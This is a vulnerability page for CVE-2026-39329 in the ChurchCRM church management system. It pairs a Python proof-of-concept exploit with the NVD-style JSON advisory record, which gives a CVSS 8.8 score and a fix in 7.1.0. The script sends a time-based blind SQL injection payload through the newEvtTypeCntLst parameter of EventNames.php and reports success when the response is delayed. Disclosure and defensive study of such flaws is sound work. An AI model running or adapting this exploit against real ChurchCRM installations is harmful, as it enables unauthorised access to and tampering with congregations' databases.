CVE-2026-39329

import requests # Target URL url = "http://target-churchcrm/EventNames.php" # Attacker credentials with AddEvent privileges session = requests.Session() login_payload = { "User": "attacker", "Password": "password" } # Perform login (pseudo-code) # session.post("http://target-churchcrm/login", data=login_payload) # Malicious payload to inject into 'newEvtTypeCntLst' # Using time-based blind injection technique sql_payload = "Test', (SELECT SLEEP(5)))-- " # Data to be sent in the POST request post_data = { "newEvtTypeCntLst": sql_payload } # Send exploit request response = session.post(url, data=post_data) # Check if the injection caused a delay (Time-based) if response.elapsed.total_seconds() > 5: print("[+] SQL Injection successful!") else: print("[-] Injection failed or patch applied.")

{"cve": {"id": "CVE-2026-39329", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:44.187", "lastModified": "2026-04-10T20:58:26.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, an SQL injection vulnerability was identified in /EventNames.php in ChurchCRM. Authenticated users with AddEvent privileges can inject SQL via the newEvtTypeCntLst parameter during event type creation. The vulnerable flow reaches an ON DUPLICATE KEY UPDATE clause where unescaped user input is interpolated directly. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-ggfm-5q4w-p93g", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-ggfm-5q4w-p93g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}